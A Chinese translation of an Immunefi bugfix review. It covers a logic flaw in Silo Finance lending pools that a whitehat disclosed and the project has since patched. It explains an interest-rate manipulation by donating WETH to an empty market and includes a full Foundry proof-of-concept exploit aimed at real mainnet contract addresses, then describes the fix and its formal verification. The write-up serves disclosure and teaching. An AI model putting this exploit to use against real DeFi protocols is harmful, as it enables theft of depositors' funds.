Silo Finance逻辑错误漏洞修复评审

  • Immunefi
  • 发布于 2023-06-17 13:41
  • 阅读 103

该文章详细介绍了Silo Finance中的一个严重逻辑错误漏洞,该漏洞可能导致黑客盗取价值300万美元的资产。作者分析了该漏洞的原理、攻击步骤及影响,并介绍了Silo Finance团队如何迅速修复该问题,确保用户资金安全。文章中包含了相关代码块、漏洞分析及修复措施,内容丰富且具有较高的技术深度。

摘要

在4月28日,一位知名的白帽黑客@kankodu通过Immunefi负责任地向Silo Finance披露了一个关键的逻辑错误漏洞。该漏洞展示了一个潜在的利用,可能使恶意黑客从Silo池合约中盗取资产。白帽黑客演示了一名攻击者可以操控利率,以借取比系统应该允许的更多资金。白帽黑客评估了该漏洞,并估计如果该漏洞在实际中被利用,可能会导致以太坊上的多个Silo池损失约300万美元。

幸运的是,得益于白帽黑客的迅速发现和通过Immunefi的报告,Silo Finance团队能够迅速修复该问题。

没有用户资金被盗,白帽黑客获得了100,000 USDC的奖励。

什么是Silo Finance?

Silo Finance创建了无许可和风险隔离的借贷市场,采用隔离池的方式,其中每种代币资产都有自己的借贷市场,并与桥接资产ETH和XAI(Silo的超抵押稳定币)配对。所有协议中的贷款人仅在任何时间面临ETH和XAI的风险。

此外,由于所有代币都与ETH或XAI配对,因此每种代币资产仅有一个市场,这防止了流动性的碎片化,并允许更大的协议效率。这种方法与纯借贷配对的方法形成对比,后者为每个额外的配对创建新的借贷市场。

漏洞分析

白帽黑客报告了在Base Silo合约中发现的漏洞,该合约负责处理借贷协议的核心逻辑。

Silo的合约是一个借贷协议,允许用户通过调用合约的deposit(…)功能将抵押资产代币存入合约。作为回报,合约根据存入金额和股份的总供应量铸造股份代币,并更新存储状态_assetStorage[_asset]与存入金额。

Silo Finance Bugfix Review 1.sol – Medium

AssetStorage storage _state = _assetStorage\[_asset\]; 

collateralAmount = _amount; 

uint256 totalDepositsCached = _collateralOnly ? _state.collateralOnlyDeposits : _state.totalDeposits; 

if (_collateralOnly) { 
collateralShare = _amount.toShare(totalDepositsCached, _state.collateralOnlyToken.totalSupply()); 
_state.collateralOnlyDeposits = totalDepositsCached + _amount; 
_state.collateralOnlyToken.mint(_depositor, collateralShare); 
} else { 
collateralShare = _amount.toShare(totalDepositsCached, _state.collateralToken.totalSupply()); 
_state.totalDeposits = totalDepositsCached + _amount; 
_state.collateralToken.mint(_depositor, collateralShare); 
} 

查看原始 Silo Finance Bugfix Review 1.solGitHub提供 ❤

在合约中存入抵押品的用户可以通过使用borrow(…)函数从协议中借入其他资产,该函数首先更新借入资产的应计利率,然后检查当前合约是否有足够的代币供用户借用。之后,该函数将代币转账给用户,并根据提供的抵押品检查贷款与价值比(LTV)比例。

Silo Finance Bugfix Review 2.sol – Medium

function _borrow(address _asset, address _borrower, address _receiver, uint256 _amount) 
internal 
nonReentrant 
returns (uint256 debtAmount, uint256 debtShare) 
{ 
// 必须作为第一个方法调用! 
_accrueInterest(_asset); 

if (!borrowPossible(_asset, _borrower)) revert BorrowNotPossible(); 

if (liquidity(_asset) < _amount) revert NotEnoughLiquidity(); 

/// @inheritdoc IBaseSilo 
function liquidity(address _asset) public view returns (uint256) { 
return ERC20(_asset).balanceOf(address(this)) - _assetStorage[_asset].collateralOnlyDeposits; 
} 

查看原始 Silo Finance Bugfix Review 2.sol

高层次来看,该漏洞允许攻击者操控合约中为零的资产的利用率。攻击者可以通过向合约捐赠一个ERC20资产来操控利用率,如果攻击者在该特定资产的市场中拥有大部分股份,借入捐赠的代币将会提升该特定资产的利用率。通常,复制此攻击的步骤如下:

  1. 确定一个在市场中为0的总存款的市场。例如,WETH的总存款为0。
  2. 通过将WETH存到该市场成为该特定资产的主要股东,使该资产的totalDeposits变为非零。
  3. 向市场捐赠额外WETH,这将允许其他用户借入比第2步总存款更多的WETH。
  4. 使用另一个用户/地址在市场中存入另一种资产,以借入捐赠的WETH。
  5. 在下一个区块中,如果调用了accrueInterest(),攻击者最初存入的金额的利用率将超过100%,这将导致极高的利率。
  6. 由于这种膨胀的利率,攻击者最初存入的金额的价值超过了它应该有的价值,这使得攻击者能借取市场上的大部分资金。

Silo Finance Bugfix Review 3.sol – Medium

/// @inheritdoc IBaseSilo 
function liquidity(address _asset) public view returns (uint256) { 
return ERC20(_asset).balanceOf(address(this)) - _assetStorage\[_asset\].collateralOnlyDeposits; 
} 

查看原始 Silo Finance Bugfix Review 3.sol

在提交时,WETH在一个Silo市场中的总存款为零。由于totalDeposits和合约中的WETH余额都为零,WETH的应计利率_accrueInterest(address _asset)也为零,因为没有借款者。

为了操控WETH的利率,攻击者本可以通过使用deposit(…)功能向合约存入极少量的10⁵ wei的WETH,这将导致Silo.assetStorage[WETH].totalDeposit的记录变更为10⁵ wei。

然后,攻击者可以手动转移或捐赠1 WETH给合约,这将使总存入的WETH与当前市场中的WETH余额之间产生差距。

使用另一个账户,攻击者本可以将约(~2WETH的价值)的545 LINK代币作为抵押品存入合约,并从合约借入1 WETH,因为合约中有足够的WETH流动性可以借,而Silo.assetStorage[WETH].totalDeposit中没有记录足够的存款。

在下一个区块中,由于Silo.assetStorage[WETH].totalBorrows远超过Silo.assetStorage[WETH].totalDeposits,这将导致超过5000 ETH的利息应计,攻击者最初存入的1e5 WETH的抵押品现在的价值超过5000 ETH,原因是借入WETH代币的利率膨胀。

Silo Finance Bugfix Review 4.sol – Medium

uint256 rcomp = _getModel(_asset).getCompoundInterestRateAndUpdate(_asset, block.timestamp); 
uint256 protocolShareFee = siloRepository.protocolShareFee(); 

uint256 totalBorrowAmountCached = _state.totalBorrowAmount; 
uint256 protocolFeesCached = _assetInterestData.protocolFees; 
uint256 newProtocolFees; 
uint256 protocolShare; 
uint256 depositorsShare; 

accruedInterest = totalBorrowAmountCached \* rcomp / Solvency._PRECISION_DECIMALS; 

unchecked { 
// 如果在乘法中溢出,不应回退交易,我们将获得更低的费用 
protocolShare = accruedInterest \* protocolShareFee / Solvency._PRECISION_DECIMALS; 
newProtocolFees = protocolFeesCached + protocolShare; 

if (newProtocolFees < protocolFeesCached) { 
protocolShare = type(uint256).max - protocolFeesCached; 
newProtocolFees = type(uint256).max; 
} 

depositorsShare = accruedInterest - protocolShare; 
} 

查看原始 Silo Finance Bugfix Review 4.sol

概念验证 (PoC):

Immunefi团队准备了以下PoC以展示所解释的漏洞。

该POC旨在供读者学习和在Forge中测试:

使用此POC的步骤如下:

  1. 安装https://github.com/foundry-rs/foundry
  2. BugFixReview.sol替换Counter.sol
  3. BugFixReview.t.sol替换Counter.t.sol
  4. 运行forge test — match-path test/BugFixReview.t.sol -vvv

该POC将对17139470和17139471进行本地分叉,并尝试在第一块之前操控利率,然后在第二块上盗取资金。由于攻击发生在两个区块上,我们不能使用闪电贷来模拟攻击。

我们可以做的替代方案是用Forge的deal来操控攻击者合约的余额。

BugFixReview.sol

Silo Finance Bugfix Review 5.sol – Medium

pragma solidity^0.8.0; 

import"forge-std/console.sol"; 

import"@openzeppelin/interfaces/IERC20.sol"; 

interfaceISilo { 
function deposit(address_asset, uint256_amount, bool_collateralOnly) 
external 
returns (uint256collateralAmount, uint256collateralShare); 

function borrow(address_asset, uint256_amount) externalreturns (uint256debtAmount, uint256debtShare); 

function assetStorage(address_asset) externalviewreturns (IBaseSilo.AssetStorage memory) ; 

function accrueInterest(address_asset) externalreturns (uint256interest); 
} 

interfaceIBaseSilo { 
/// @dev 存储结构,持有单个代币市场所需的所有数据 
struct AssetStorage { 
/// @dev 代币,代表Silo总存款的股份 
IShareToken collateralToken; 
/// @dev 代币,代表Silo仅抵押存款的股份 
IShareToken collateralOnlyToken; 
/// @dev 代币,代表Silo已借总量的股份 
IShareToken debtToken; 
/// @dev COLLATERAL: 已存入Silo的资产代币,包括由存款人获得的利息。这 
/// 还包括已经借用的代币金额。 
uint256 totalDeposits; 
/// @dev COLLATERAL ONLY: 存入Silo的资产代币,仅可用作为抵押。这些存款不会 
/// 赚取利息,且无法借用。 
uint256 collateralOnlyDeposits; 
/// @dev DEBT: 已借用的资产代币金额,包括应计利息。 
uint256 totalBorrowAmount; 
} 
} 

interfaceIShareToken {} 

contractOtherAccount{ 

ISilo immutable SILO; 
IERC20constant public WETH =IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 
IERC20constant public LINK =IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); 

address owner; 

constructor(ISilo _silo) { 
owner =msg.sender; 
SILO = _silo; 
} 

modifier onlyOwner { 
require(msg.sender== owner); 
_; 
} 

function depositLinkAndBorrowWETH() external onlyOwner { // 这将膨胀ETH利率。 
uint256 depositAmount = LINK.balanceOf(address(this)); 
LINK.approve(address(SILO), depositAmount); 
SILO.deposit(address(LINK), depositAmount, true); 
SILO.borrow(address(WETH), 1 ether); 
WETH.transfer(owner, 1 ether); // 将借入的金额返还给合约 
} 
} 

contractSiloBugFixReview{ 

ISilo publicconstant SILO =ISilo(0xcB3B879aB11F825885d5aDD8Bf3672596d35197C); 
IERC20public constant XAI =IERC20(0xd7C9F0e536dC865Ae858b0C0453Fe76D13c3bEAc); 
IERC20constant public WETH =IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 
IERC20constant public LINK =IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); 

OtherAccount publicimmutable otherAccount; 

constructor() { 
otherAccount =newOtherAccount(SILO); 
} 

modifier checkZeroAssetStorage() { 
require(SILO.assetStorage(address(WETH)).totalDeposits ==0); 
_; 
} 

function run() external checkZeroAssetStorage { 
uint256 accrueInterest = SILO.accrueInterest(address(WETH)); 

console.log("攻击前XAI余额= ", XAI.balanceOf(address(this))); 
console.log("攻击前WETH利率 = ", accrueInterest); 

uint256 depositAmount =1e5; 
uint256 donatedAmount =1e18; 

WETH.approve(address(SILO), depositAmount); 
SILO.deposit(address(WETH), depositAmount, false); 

WETH.transfer(address(SILO), donatedAmount); 

otherAccount.depositLinkAndBorrowWETH(); 
} 

function run2() external { 
uint256 accrueInterest = SILO.accrueInterest(address(WETH)); 
SILO.borrow(address(XAI), XAI.balanceOf(address(SILO))); 

console.log("攻击后XAI余额= ", XAI.balanceOf(address(this))); 
console.log("攻击后WETH利率 = ", accrueInterest); 

} 
} 

查看原始 Silo Finance Bugfix Review 5.sol

BugFixReview.t.sol Silo Finance Bugfix Review 6.sol – Medium

pragma solidity^0.8.0; 

import"forge-std/Test.sol"; 
import"../../src/SiloFinance/BugFixReview.sol"; 

contractSiloBugFixReviewTestisTest { 
uint256 mainnetFork; 

SiloBugFixReview public siloBugFixReview; 

uint256constant depositAmount =1e5; 
uint256constant donatedAmount =1e18; 

uint256 otherAccountDepositAmount =545\*1e18; 

function setUp() public { 
mainnetFork = vm.createFork("mainnet", 17139470); 
vm.selectFork(mainnetFork); 
siloBugFixReview =newSiloBugFixReview(); 
deal(address(siloBugFixReview.WETH()), address(siloBugFixReview), depositAmount + donatedAmount); 
deal(address(siloBugFixReview.LINK()), address(siloBugFixReview.otherAccount()), otherAccountDepositAmount); 
} 

function testAttack() public { 
address LINK =0x514910771AF9Ca656af840dff83E8264EcF986CA; 

address WETH =0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 

console.log("时间戳前 = ",block.timestamp); 
console.log("块号前 = ",block.number); 
siloBugFixReview.run(); 
vm.makePersistent(address(siloBugFixReview)); 
vm.makePersistent(address(siloBugFixReview.SILO())); 

vm.makePersistent(WETH); 
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralToken)); 
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralOnlyToken)); 
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).debtToken)); 

vm.makePersistent(LINK); 
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralToken)); 
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralOnlyToken)); 
vm.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).debtToken)); 

vm.rollFork(block.number+1); 

console.log("时间戳后 = ",block.timestamp); 
console.log("块号后 = ",block.number); 
siloBugFixReview.run2(); 
} 
} 

查看原始 Silo Finance Bugfix Review 6.sol

POC的日志输出:

从日志输出中可以看出,POC成功地膨胀了WETH的利率,攻击者可以利用这一点从市场上借取450K价值的XAI。

漏洞修复

项目在提交报告后暂时修复了漏洞市场,待适当修复完成后,代码部署到主网。

项目实施的第一个缓解措施是向市场存入在市场中总存款为0的资产,这是在交易中可以看到的。

然而,这一存款仅暂时缓解了漏洞市场。为了永久修复,项目在利用率计算中实施了上限,并将最大复利利率限制为10k %年收益率。前者是为了确保利用率永远不会超过100%。后者是为了在复利利率超过10%后停止产生收益,除非调用accrueInterest()

为了确保项目实施的修复是安全的且没有留下任何边缘情况,代码经过了Certora的形式验证,并增加了覆盖此漏洞的规则。那些规则是:

cantExceedMaxUtilizationinterestNotMoreThenMax

  • cantExceedMaxUtilization是一个不变性,保证利用率永远不超过100%。这意味着没有人可以借入超过存入金额的资金。
  • interestNotMoreThenMax测试修复以确保利率不能超过最大限制。

此外,这些规则/规范的详细信息已由项目发布,你可以在他们的Github中访问。

永久修复可以在该地址查看。

有关Silo Finance和Certora针对此漏洞进行的修复的更多信息,你可以阅读这里这里

鸣谢

我们要感谢@kankodu出色地完成了这一重要漏洞的负责任披露。也要感谢Silo Finance团队快速响应报告并进行了修复。

如果你是一个考虑在web3中进行漏洞狩猎的web2或web3开发者,我们支持你。查看Web3安全库,并开始在Immunefi上赚取奖励——这是web3中最大的漏洞悬赏平台,具有世界上最大的收益。

如果你对自己的技能感到自信,希望查看自己是否能在代码中找到漏洞,请查看Silo Finance的漏洞悬赏计划。

  • 原文链接: medium.com/immunefi/silo...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Immunefi
Immunefi
The leading bug bounty platform for blockchain with the world's largest bug bounties.